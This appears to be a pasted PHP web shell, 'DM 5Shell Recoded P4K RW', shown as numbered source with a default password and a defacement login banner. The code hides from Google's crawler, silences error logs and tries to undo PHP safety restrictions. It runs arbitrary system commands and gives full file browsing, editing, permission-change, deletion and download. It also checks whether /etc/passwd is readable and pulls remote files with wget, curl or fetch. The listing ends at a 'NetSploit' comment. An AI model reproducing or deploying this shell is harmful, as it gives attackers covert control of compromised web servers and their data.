· 8 years ago · Feb 06, 2018, 02:02 PM
1<?php
2//Dm 5hell
3//DM 5Shell Recoded P4K RW
4//default password "r00tbaba123"
5//n00b
6@session_start();
7@define('SELF_PATH', __FILE__);
8$auth_pass = "16e029226d8960b2d7cba16cab5f7044";
9$cookie_hour_expire = 24;
10
11if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
12header('HTTP/1.0 404 Not Found');
13exit;
14}
15function printLogin() { ?>
16
17<meta content=HACKED-BY P4K RW name=description>
18<title>P4K RW</title>
19<center>
20<h1><i>~# R00t BY P4K RW #~</i></h1>
21<br /><table><border><nobr><img src=https://upload.wikimedia.org/wikipedia/fr/6/61/Logo_linkin_park.svg><br /><br /><font color=violet>~</font><font color=lime>*</font><font color=red>What I want is not peace, but the advantages and beliefs</font><font color=lime>*</font><font color=violet>~</font></center><br>
22<form method=post>
23<address><input type=password name=x><input type=submit value=''></center></address>
24</form></body></html>
25<?php
26exit;
27}
28$cookie_value = md5($_SERVER['HTTP_HOST']."dm".$auth_pass);
29if(isset($_POST['x'])){
30if(md5($_POST['x']) != $auth_pass){
31printLogin();
32}else{
33setcookie("dm", $cookie_value, time()+(60*(60*$cookie_hour_expire)));
34}
35}
36elseif(isset($_COOKIE['dm'])){
37if($_COOKIE['dm'] != $cookie_value){
38printLogin();
39}
40}elseif(!isset($_COOKIE['dm'])){
41printLogin();
42}
43if(isset($_POST['logout'])){
44setcookie("dm", "", time()-(60*(60*60*360000)));
45$page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
46echo '<center><span class="b1"> Please Wait ...</scan></center>';
47?>
48<script>window.location.href = '<?php print $page; ?>';</script>
49<?php exit(0);
50}
51
52
53@set_time_limit(0);
54@error_reporting(0);
55@ini_set('log_errors',0);
56@ini_set('error_log',NULL);
57@ini_restore("safe_mode");
58@ignore_user_abort(FALSE);
59@ini_restore("open_basedir");
60@set_magic_quotes_runtime(0);
61@ini_restore("allow_url_fopen");
62@ini_set('max_execution_time',0);
63@ini_restore("disable_functions");
64@ini_restore("safe_mode_exec_dir");
65@ini_restore("safe_mode_include_dir");
66@ini_set('zlib.output_compression','Off');
67date_default_timezone_set('Etc/GMT');
68
69if(get_magic_quotes_gpc()){
70function stripslashes_array($array)
71{ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
72$_POST = stripslashes_array($_POST);
73}
74
75$quotes = get_magic_quotes_gpc();
76if ($quotes == "1" or $quotes == "on")
77{ $quot = "<font style='color:yellow'>ON</font>";}
78else
79{ $quot = "<font style='color:#2900f9'>OFF</font>"; }
80
81$disablefunc = @ini_get("disable_functions");
82function showdisablefunctions() {
83if ($disablefunc=@ini_get("disable_functions"))
84{ return "<span style='color:yellow'>".$disablefunc."</span>"; }
85else
86{ return "<span style='color:#2900f9'>NONE</span>"; }
87}
88
89function ex($cfe) {
90$res = '';
91if (!empty($cfe)) {
92if(function_exists('exec')) {
93@exec($cfe,$res);
94$res = join("\n",$res);
95}
96elseif(function_exists('shell_exec')) {
97$res = @shell_exec($cfe);
98}
99elseif(function_exists('system')) {
100@ob_start();
101@system($cfe);
102$res = @ob_get_contents();
103@ob_end_clean();
104}
105elseif(function_exists('passthru')) {
106@ob_start();
107@passthru($cfe);
108$res = @ob_get_contents();
109@ob_end_clean();
110}
111elseif(@is_resource($f = @popen($cfe,"r"))) {
112$res = "";
113while(!@feof($f)) { $res .= @fread($f,1024); }
114@pclose($f);
115} else { $res = "Ex() Disabled!"; }
116}
117return $res;
118}
119
120function delete_option($file){
121if(!$win){
122@exe("rm -rf ".$file);
123if(file_exists($file) && is_file($file)){unlink($file);}
124elseif(file_exists($file) && is_dir($file)){rmdir($file);}
125}
126elseif($win){
127if(is_dir($file)){
128@exe("rd /s /q ".$file);
129if(file_exists($file)){rmdir($file);}
130}
131else {
132@exe("del /q /f ".$file);
133exe("rd /s /q ".$file);
134if(file_exists($file)){
135unlink($file);
136}
137}
138}
139}
140
141if(isset($_POST['rename'])){
142$old = $_POST['oldname'];
143$new = $_POST['newname'];
144@rename($pwd.$old,$pwd.$new);
145$file = $pwd.$new;
146}
147if(isset($_POST['chmod'])){
148$name = $_POST['name'];
149$value = $_POST['newvalue'];
150if (strlen($value)==3){
151$value = 0 . "" . $value;
152}
153@chmod($pwd.$name,octdec($value));
154$file = $pwd.$name;
155}
156if(isset($_POST['chmod_folder'])){
157$name = $_POST['name'];
158$value = $_POST['newvalue'];
159if (strlen($value)==3){
160$value = 0 . "" . $value;
161}
162@chmod($pwd.$name,octdec($value));
163$file = $pwd.$name;
164}
165
166function showstat($stat) {
167if ($stat=="on")
168{ return "<b><font style='color:yellow'>ON</font></b>"; }
169else
170{ return "<b><font style='color:#444444'>OFF</font></b>"; }
171}
172function testperl() {
173if (ex('perl -h'))
174{ return showstat("on"); }
175else
176{ return showstat("off"); }
177}
178function testfetch() {
179if(ex('fetch --help'))
180{ return showstat("on"); }
181else
182{ return showstat("off"); }
183}
184function testwget() {
185if (ex('wget --help'))
186{ return showstat("on"); }
187else
188{ return showstat("off"); }
189}
190function testoracle() {
191if (function_exists('ocilogon'))
192{ return showstat("on"); }
193else
194{ return showstat("off"); }
195}
196function testpostgresql() {
197if (function_exists('pg_connect'))
198{ return showstat("on"); }
199else
200{ return showstat("off"); }
201}
202function testmssql() {
203if (function_exists('mssql_connect'))
204{ return showstat("on"); }
205else
206{ return showstat("off"); }
207}
208function testcurl() {
209if (function_exists('curl_version'))
210{ return showstat("on"); }
211else
212{ return showstat("off"); }
213}
214function testmysql() {
215if (function_exists('mysql_connect'))
216{ return showstat("on"); }
217else
218{ return showstat("off"); }
219}
220
221
222if(isset($_GET['dl']) && ($_GET['dl'] != "")){
223$file = $_GET['dl'];
224$filez = @file_get_contents($file);
225header("Content-type: application/octet-stream");
226header("Content-length: ".strlen($filez));
227header("Content-disposition: attachment; filename=\"".basename($file)."\";");
228echo $filez;
229exit;
230}
231
232elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
233$file = $_GET['dlgzip'];
234$filez = gzencode(@file_get_contents($file));
235header("Content-Type:application/x-gzip\n");
236header("Content-length: ".strlen($filez));
237header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
238echo $filez;
239exit;
240}
241
242
243if(isset($_GET['img'])){
244@ob_clean();
245$d = isset($_GET['img'])? $_GET['img']:"";
246$f = $_GET['img'];
247$inf = @getimagesize($d.$f);
248$ext = explode($f,".");
249$ext = $ext[count($ext)-1];
250@header("Content-type: ".$inf["mime"]);
251@header("Cache-control: public");
252@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
253@header("Cache-control: max-age=".(60*60*24*7));
254@readfile($d.$f);
255die();
256}
257
258$software = getenv("SERVER_SOFTWARE");
259if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
260$system = @php_uname();
261if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE;
262if(isset($_GET['dm'])){
263if(@is_dir($_GET['view'])){
264$pwd = $_GET['view'];
265@chdir($pwd);
266}
267else{
268$pwd = $_GET['dm'];
269@chdir($pwd);
270}
271}
272if(!$win){
273if(!$user = rapih(exe("whoami"))) $user = "";
274if(!$id = rapih(exe("id"))) $id = "";
275$prompt = $user." \$] ";
276$pwd = @getcwd().DIRECTORY_SEPARATOR;
277}
278else {
279$user = @get_current_user();
280$id = $user;
281$prompt = $user." >";
282$pwd = realpath(".")."\\";
283$v = explode("\\",$d);
284$v = $v[0];
285foreach (range("A","Z") as $letter) {
286$bool = @is_dir($letter.":\\");
287if ($bool) {
288$letters .= "<a href=\"?dm=".$letter.":\\\"><span class=\"infodmx\">[ ";
289if ($letter.":" != $v)
290{ $letters .= $letter; }
291else
292{ $letters .= "<span style=\"color:#2900f9\"/>".$letter."</span>";}
293$letters .= " ]</span> </a>";
294}
295}
296}
297if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
298$bytes = disk_free_space(".");
299$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
300$base = 1024;
301$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
302$totalspace_bytes = disk_total_space(".");
303$totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
304$totalspace_bases = 1024;
305$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
306$totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
307$freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
308$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
309$my_ip = $_SERVER['REMOTE_ADDR'];
310$server_admin=$_SERVER['SERVER_ADMIN'];
311$gat = $_SERVER['GATEWAY_INTERFACE'];
312$pro = $_SERVER['SERVER_PROTOCOL'];
313$readdr = $_SERVER['REMOTE_ADDR'];
314$uagent = $_SERVER['HTTP_USER_AGENT'];
315$xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
316$signature = $_SERVER['SERVER_SIGNATURE'];
317$serport = $_SERVER['SERVER_PORT'];
318$remport = $_SERVER['REMOTE_PORT'];
319$bindport = "13123";
320$bindport_pass = "b374k";
321$etc_passwd=@is_readable("/etc/passwd")?"<b><span style=\"color:#2900f9\"/>ON</span></b>":"<b><span style=\"color:red\"/>DISABLE</span></b>";
322$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
323$pwdurl = "";
324for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
325$pathz = "";
326for($j = 0 ; $j <= $i ; $j++)
327{ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; }
328$pwdurl .= "<a href=\"?dm=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
329}
330
331
332$buff .= "<nobr><b><span class=\"dminfox\">Software</span> : <span style=\"color:#444444\"/>" . $software . "</span></b></nobr><br/>";
333$buff .= "<nobr><b><span class=\"dminfox\">System</span> : <span style=\"color:#444444\"/>".$system."</span></b></nobr><br />";
334$buff .= "<nobr><b><span class=\"dminfox\">Webmaster</span> : "."<b><span style='color:#444444'>$server_admin</span></b>"." <b><span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Date : <b><span style=\"color:#444444\"/>".date("d M Y H:i:s",time())."</b><br/>";
335if($id != "")
336$buff .= "<nobr><span class=\"dminfox\">User</span> : <b><span style=\"color:#444444\"/>" . $id . "</span></b><nobr><br />";
337$buff .= "<nobr><span class=\"dminfox\">Server IP</span> : <b><span style=\"color:#444444\"/>".$server_ip."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Server Port</span> : <b><span style=\"color:#444444\"/>".$serport."</span></b></nobr><br/>";
338$buff .= "<nobr><span class=\"dminfox\">Your IP</span> : <b><span style=\"color:#444444\"/>".$my_ip."</span>
339<span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Real IP</span> : <b><span style=\"color:#444444\"/>".$xforwarded."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Remote Port</span> : <b><span style=\"color:#444444\"/>".$remport."</span> </b></nobr><br/>";
340$buff .= "<nobr><span class=\"dminfox\">Total HDD</span> : "."<b><span style='color:#444444'>$totalspace_show</span>"." <b><span class=\"infodmx\">||</span></b> "."<span class=\"depan\">Free HDD</span> : "."<b><span style='color:#444444'>$freespace_show</span>"."</b></nobr><br/>";
341$buff .= "<nobr><span class=\"dminfox\">PHP ver</span> : <b><span style='color:#444444'>".phpversion()."</span> <span class=\"infodmx\">||</span></b>
342<span class=\"dminfox\">Gateway</span> : <b><span style='color:#444444'>".$gat."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Protocol</span> : <b><span style='color:#444444'>".$pro."</span></b></nobr><br/>";
343
344if($safemode)
345$buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:yellow\">ON</span> [ <a href='?dm=$pwd&x=safemodeoff'>BYPASS</a> ]</b><br />";
346else $buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:#444444\">OFF</span> <span class=\"infodmx\">||</span></b> <span class=\"depan\">Magic Quotes</span> : <b><span style=\"color:#444444\"/>".$quot."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Read /etc/passwd</span> : "."<span style='color:#444444'>$etc_passwd</span>"."<br />";
347$buff .= "<nobr><span class=\"dminfox\">MySQL</span> : <b><span style=\"color:#444444\"/>".testmysql()." <span class=\"infodmx\">||</span></b>
348<span class=\"dminfox\">MSSQL :</span><b> <span style=\"color:#444444\"/>".testmssql()."</span> <span class=\"infodmx\">||</span></b>
349<span class=\"dminfox\">Oracle :</span><b> <span style=\"color:#444444\"/>".testoracle()."</span> <span class=\"infodmx\">||</span></b>
350<span class=\"dminfox\">PostgreSQL :</span><b> <span style=\"color:#444444\"/>".testpostgresql()."</span></b> </nobr><br/>";
351$buff .= "<nobr><span class=\"dminfox\">Curl</span> : <b><span style=\"color:#444444\"/>".testcurl()."</span> <span class=\"infodmx\">||</span></b>
352<span class=\"dminfox\">WGet</span> : <b><span style=\"color:#444444\"/>".testwget()."</span> <span class=\"infodmx\">||</span></b>
353<span class=\"dminfox\">Fetch</span> : <b><span style=\"color:#444444\"/>".testfetch()."</span> <span class=\"infodmx\">||</span></b>
354<span class=\"dminfox\">Perl</span> : <b><span style=\"color:#444444\"/>".testperl()."</span></b></nobr><br/>";
355$buff .= "<span class=\"dminfox\">Disabled Functions</span> : <span style=\"color:#444444\">".showdisablefunctions()."<br />";
356$buff .= $letters."<span class=\"dminfox\">Directory : ".$pwdurl."</span><br /><br />";
357
358function rapih($text){
359return trim(str_replace("<br />","",$text));
360}
361function magicboom($text) {
362if(!get_magic_quotes_gpc())
363{
364return $text;
365}
366return stripslashes($text);
367}
368
369
370function showdir($pwd,$prompt){
371$fname = array();
372$dname = array();
373if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
374else $posix = FALSE;
375$user = "????:????";
376if($dh = opendir($pwd)){
377while($file = readdir($dh)){
378if(is_dir($file))
379{ $dname[] = $file; }
380elseif(is_file($file))
381{ $fname[] = $file; }
382}
383closedir($dh);
384}
385sort($fname);
386sort($dname);
387$path = @explode(DIRECTORY_SEPARATOR,$pwd);
388$tree = @sizeof($path);
389$parent = "";
390
391
392// Membuat 2 Form Input CMD n DIRectory Di Main Page //
393$buff = "<form action=\"?dm=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
394<table class=\"cmdbox\" style=\"width:50%;\">
395
396<tr>
397<td><nobr><b>CMD</b></nobr></td>
398<td><!-- onMouseOver=\"this.focus();\" --><nobr><input id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" />
399<input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" />
400</nobr>
401</form>
402</td>
403</tr>
404
405<tr>
406<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
407<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
408<td><nobr><b>DIR</b></nobr></td>
409
410<td><nobr><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"".$pwd."\" /> <input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" /></nobr></form>
411</td>
412</tr>
413</table>
414
415<p><table class=\"explore\"><tr>
416<th style=\"width:200px;\"><strong><span class='b3'>_NAME_</span></strong></th>
417<th style=\"width:70px;\"><strong><span class='b3'>_DIR / SIZE_</span></strong></th>
418<th style=\"width:70px;\"><strong><span class='b3'>_CHMOD_</span></strong></th>
419<th style=\"width:150px;\"><strong><span class='b3'>_OWNER : GROUP_</span></strong></th>
420<th style=\"width:140px;\"><strong><span class='b3'>_LAST ACCESS_</span></strong></th>
421<th style=\"width:150px;\"><strong><span class='b3'>_ACTION_</span></strong></th></tr>";
422
423if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
424else $parent = $pwd;
425foreach($dname as $folder){
426if($folder == ".") {
427if(!$win && $posix){
428$name=@posix_getpwuid(@fileowner($folder));
429$group=@posix_getgrgid(@filegroup($folder));
430$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; }
431else {
432$owner = $user;
433}
434$buff .= "<tr>
435<td><a href=\"?dm=".$pwd."\"><img src='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs='>$folder</a></td>
436<td align=center>-</td>
437<td align=center>".substr(sprintf('%o', fileperms($pwd)), -4)."</td>
438<td align=center>".$owner."</td>
439<td align=center>".date("d-M-Y H:i",@fileatime($pwd))."</td>
440<td align=center><span id=\"titik1\">
441<a href=\"?dm=$pwd&edit=".$pwd."new.php\">[ +FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik1','titik1_form');\"> [ +FOLDER ]</a></span>
442<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
443<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
444<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
445<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
446</form>
447</td></tr>";
448}
449
450elseif($folder == "..") {
451if(!$win && $posix){
452$name=@posix_getpwuid(@fileowner($folder));
453$group=@posix_getgrgid(@filegroup($folder));
454$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
455}
456else { $owner = $user; }
457$buff .= "<tr>
458<td><a href=\"?dm=".$parent."\"><img src='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs='/>$folder</a></td>
459<td align=center>-</td>
460<td align=center>".substr(sprintf('%o', fileperms($parent)), -4)."</td>
461<td align=center>".$owner."</td>
462<td align=center>".date("d-M-Y H:i",@fileatime($parent))."</td>
463<td align=center><span id=\"titik2\"><a href=\"?dm=$pwd&edit=".$parent."new.php\">[+FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik2','titik2_form');\"> [ +FOLDER ]</a></span>
464<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
465<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
466<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
467<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
468</form>
469</td>
470</tr>";
471} else {
472if(!$win && $posix){
473$name=@posix_getpwuid(@fileowner($folder));
474$group=@posix_getgrgid(@filegroup($folder));
475$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
476}
477else { $owner = $user; }
478$buff .= "<tr>
479<td>
480<a id=\"".clearspace($folder)."_link\" href=\"?dm=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,
481R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///
482nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='/> $folder </a>
483
484<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
485<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
486<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
487<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
488<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
489</form>
490</td>
491<td align=center>FOLDER</td>
492<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">
493".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."</a>
494<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
495<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
496<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
497<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
498<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></td>
499<td align=center>".$owner."</td>
500<td align=center>".date("d-M-Y H:i",@fileatime($folder))."</td>
501<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[ REN ] </a><span class=\"infodmx\">||</span><a href=\"?dm=$pwd&fdelete=".$pwd.$folder."\"> [ DEL ]</a>
502</td></tr>";
503}
504}
505
506foreach($fname as $file){
507$full = $pwd.$file;
508if(!$win && $posix){
509$name=@posix_getpwuid(@fileowner($file));
510$group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else {
511$owner = $user;
512}
513$buff .= "<tr>
514<td><a id=\"".clearspace($file)."_link\" href=\"?dm=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' /> $file</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
515<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
516<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
517<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
518<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
519</form></td>
520<td align=center>".ukuran($full)."</td>
521<td align=center><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".substr(sprintf('%o', fileperms($full)), -4)."</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
522<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
523<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
524<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
525<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" />
526</form></center></td>
527<td align=center>".$owner."</td>
528<td align=center>".date("d-M-Y H:i",@fileatime($full))."</td>
529<td align=center><a href=\"?dm=$pwd&edit=$full\">[E]</a>
530<span class=\"infodmx\">||</span>
531<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R]</a>
532<span class=\"infodmx\">||</span>
533<a href=\"?dm=$pwd&delete=$full\">[X]</a>
534<span class=\"infodmx\">||</span>
535<a href=\"?dm=$pwd&dl=$full\">[D]</a>
536</td></tr>";
537}
538$buff .= "</table></p>";
539return $buff;
540}
541
542// Fungsi Ukuran Besar Jenis File
543function ukuran($file){
544if($size = @filesize($file)){
545if($size <= 1024) {
546return "$size B";
547} else {
548if($size <= 1024*1024) {
549$size = @round($size / 1024,2);;
550return "$size KB";
551} else {
552$size = @round($size / 1024 / 1024,2);
553return "$size MB";
554}
555}
556}
557else return "???";
558}
559
560function exe($cmd){
561if(function_exists('system')) {
562@ob_start();
563@system($cmd);
564$buff = @ob_get_contents();
565@ob_end_clean();
566return $buff;
567}
568elseif(function_exists('exec')) {
569@exec($cmd,$results);
570$buff = "";
571foreach($results as $result){
572$buff .= $result;
573}
574return $buff;
575}
576elseif(function_exists('passthru')) {
577@ob_start();
578@passthru($cmd);
579$buff = @ob_get_contents();
580@ob_end_clean();
581return $buff;
582}
583elseif(function_exists('shell_exec')){
584$buff = @shell_exec($cmd);
585return $buff;
586}
587}
588
589// Fungsi Tulis NewFile //
590function tulis($file,$text){
591$textz = gzinflate(base64_decode($text));
592if($filez = @fopen($file,"w")) {
593@fputs($filez,$textz);
594@fclose($file);
595}
596}
597
598// Fungsi Upload Dari Url //
599function ambil($link,$file) {
600if($fp = @fopen($link,"r")){
601while(!feof($fp)) {
602$cont.= @fread($fp,1024);
603}
604@fclose($fp);
605$fp2 = @fopen($file,"w");
606@fwrite($fp2,$cont);
607@fclose($fp2);
608}
609}
610function which($pr){
611$path = exe("which $pr");
612if(!empty($path)) {
613return trim($path);
614} else {
615return trim($pr);
616}
617}
618function download($cmd,$url){
619$namafile = basename($url);
620switch($cmd) {
621case 'wwget':
622exe(which('wget')." ".$url." -O ".$namafile);
623break;
624case 'wlynx':
625exe(which('lynx')." -source ".$url." >".$namafile);
626break;
627case 'wfread' :
628ambil($wurl,$namafile);
629break;
630case 'wfetch' :
631exe(which('fetch')." -o ".$namafile." -p ".$url);
632break;
633case 'wlinks' :
634exe(which('links')." -source ".$url." >".$namafile);
635break;
636case 'wget' :
637exe(which('GET')." ".$url." >".$namafile);
638break;
639case 'wcurl' :
640exe(which('curl')." ".$url." -o ".$namafile);
641break;
642default:
643break;
644}
645return $namafile;
646}
647
648// Fungsi array utk CHMOD / permission //
649function get_perms($file) {
650if($mode=@fileperms($file)){
651$perms='';
652$perms .= ($mode & 00400) ? 'r' : '-';
653$perms .= ($mode & 00200) ? 'w' : '-';
654$perms .= ($mode & 00100) ? 'x' : '-';
655$perms .= ($mode & 00040) ? 'r' : '-';
656$perms .= ($mode & 00020) ? 'w' : '-';
657$perms .= ($mode & 00010) ? 'x' : '-';
658$perms .= ($mode & 00004) ? 'r' : '-';
659$perms .= ($mode & 00002) ? 'w' : '-';
660$perms .= ($mode & 00001) ? 'x' : '-';
661return $perms;
662}
663else return "?????";
664}
665
666function clearspace($text){
667return str_replace(" ","_",$text);
668}
669
670// Fungsi NetSploit //
